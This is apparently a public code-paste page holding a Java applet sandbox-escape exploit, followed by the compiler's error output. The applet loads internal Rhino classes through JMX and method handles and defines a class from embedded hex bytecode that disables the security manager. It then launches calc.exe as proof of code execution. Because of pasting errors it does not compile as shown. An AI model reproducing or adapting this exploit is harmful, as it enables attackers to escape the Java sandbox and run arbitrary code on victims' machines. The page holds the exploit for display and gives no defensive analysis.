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  1. import java.applet.Applet;
  2.  
  3. import com.sun.jmx.mbeanserver.JmxMBeanServer;
  4.  
  5. import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
  6.  
  7. import com.sun.jmx.mbeanserver.MBeanInstantiator;
  8.  
  9. import java.lang.invoke.MethodHandle;
  10.  
  11. import java.lang.invoke.MethodHandles;
  12.  
  13. import java.lang.invoke.MethodType;
  14.  
  15. import java.lang.reflect.Method;
  16.  
  17.  
  18.  
  19.  
  20.  
  21. public byte[] hex2Byte(String paramString)
  22.  
  23. {
  24.  
  25.     byte[] arrayOfByte = new byte[paramString.length() / 2];
  26.  
  27.     for (int i = 0; i < arrayOfByte.length; i++)
  28.  
  29.     {
  30.  
  31.       arrayOfByte[i] = (byte)Integer.parseInt(paramString.substring(2 * i, 2 * i + 2), 16);
  32.  
  33.     }
  34.  
  35.  
  36.  
  37.     return arrayOfByte;
  38.  
  39.  }
  40.  
  41. public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
  42.  00063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C6501
  43.  00124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F4578
  44.  63657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F
  45.  07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F757263
  46.  6546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F
  47.  457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A65637401000142
  48.  0100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E41637469
  49.  6F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F
  50.  50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C6567656445
  51.  7863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176
  52.  612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A
  53.  6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000
  54.  020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100
  55.  040009000C00030003000B000000120004000000080004000B0009000C000D000D000C0000001600
  56.  02000D0000000D000E00010000000E000F001000000011000000100002FF000C0001070012000107
  57.  0013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B0000000
  58.  02000B0000000A00020000001000040011000C0000000C00010000000C000F001000000001001600
  59. 0000020017";
  60.  
  61.  
  62.  
  63.   public void init()
  64.  
  65.   {
  66.  
  67.     try
  68.  
  69.     {
  70.  
  71.  
  72.  
  73.       byte[] arrayOfByte = hex2Byte(ByteArrayWithSecOff);
  74.  
  75.       JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
  76.  
  77.       JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
  78.  
  79.       MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
  80.  
  81.       ClassLoader a = null;
  82.  
  83.       Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
  84.  
  85.       Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
  86.  
  87.       MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
  88.  
  89.       MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
  90.  
  91.       MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
  92.  
  93.       MethodType localMethodType2 = MethodType.methodType(Void.TYPE);
  94.  
  95.       MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 });
  96.  
  97.       Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]);
  98.  
  99.       MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class });
  100.  
  101.       MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3);
  102.  
  103.       MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class);
  104.  
  105.       MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 });
  106.  
  107.       Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null });
  108.  
  109.       MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class });
  110.  
  111.       MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 });
  112.  
  113.       Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, arrayOfByte });
  114.  
  115.       localClass3.newInstance();
  116.  
  117.  
  118.  
  119.  
  120.  
  121.       Runtime.getRuntime().exec("calc.exe");
  122.  
  123.  
  124.  
  125.     }   
  126.  
  127.     catch (Throwable ex) {}
  128.  
  129.   }
  130.  
  131. }
Compilation error #stdin compilation error #stdout 0s 0KB
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stdin
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Standard input is empty
compilation info 
Main.java:21: error: class, interface, or enum expected
public byte[] hex2Byte(String paramString)
       ^
Main.java:27: error: class, interface, or enum expected
    for (int i = 0; i < arrayOfByte.length; i++)
    ^
Main.java:27: error: class, interface, or enum expected
    for (int i = 0; i < arrayOfByte.length; i++)
                    ^
Main.java:27: error: class, interface, or enum expected
    for (int i = 0; i < arrayOfByte.length; i++)
                                            ^
Main.java:33: error: class, interface, or enum expected
    }
    ^
Main.java:39: error: class, interface, or enum expected
 }
 ^
Main.java:41: error: class, interface, or enum expected
public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
              ^
Main.java:41: error: illegal character: \35
public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
                                             ^
Main.java:41: error: class, interface, or enum expected
public static String ByteArrayWithSecOff = & #34;CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F07002001
                                                 ^
Main.java:59: error: unclosed string literal
0000020017";
          ^
Main.java:63: error: class, interface, or enum expected
  public void init()
         ^
Main.java:75: error: class, interface, or enum expected
      JmxMBeanServerBuilder localJmxMBeanServerBuilder = new JmxMBeanServerBuilder();
      ^
Main.java:77: error: class, interface, or enum expected
      JmxMBeanServer localJmxMBeanServer = (JmxMBeanServer)localJmxMBeanServerBuilder.newMBeanServer("", null, null);
      ^
Main.java:79: error: class, interface, or enum expected
      MBeanInstantiator localMBeanInstantiator = localJmxMBeanServer.getMBeanInstantiator();
      ^
Main.java:81: error: class, interface, or enum expected
      ClassLoader a = null;
      ^
Main.java:83: error: class, interface, or enum expected
      Class localClass1 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.Context", a);
      ^
Main.java:85: error: class, interface, or enum expected
      Class localClass2 = localMBeanInstantiator.findClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader", a);
      ^
Main.java:87: error: class, interface, or enum expected
      MethodHandles.Lookup localLookup = MethodHandles.publicLookup();
      ^
Main.java:89: error: class, interface, or enum expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
      ^
Main.java:89: error: <identifier> expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                            ^
Main.java:89: error: <identifier> expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                    ^
Main.java:89: error: <identifier> expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                          ^
Main.java:89: error: <identifier> expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                                      ^
Main.java:89: error: <identifier> expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                                                    ^
Main.java:89: error: ';' expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                                                         ^
Main.java:89: error: illegal start of type
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                                                           ^
Main.java:89: error: <identifier> expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                                                            ^
Main.java:89: error: ';' expected
      MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class });
                                                                                                                             ^
Main.java:91: error: <identifier> expected
      MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1);
                                     ^
Main.java:115: error: <identifier> expected
      localClass3.newInstance();
                             ^
Main.java:121: error: <identifier> expected
      Runtime.getRuntime().exec("calc.exe");
                        ^
Main.java:121: error: ';' expected
      Runtime.getRuntime().exec("calc.exe");
                          ^
Main.java:127: error: class, interface, or enum expected
    catch (Throwable ex) {}
    ^
33 errors
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Standard output is empty
https://ideone.com/B3coZi
language:
Java (12.0.1)
created:
12 years ago
visibility:
public

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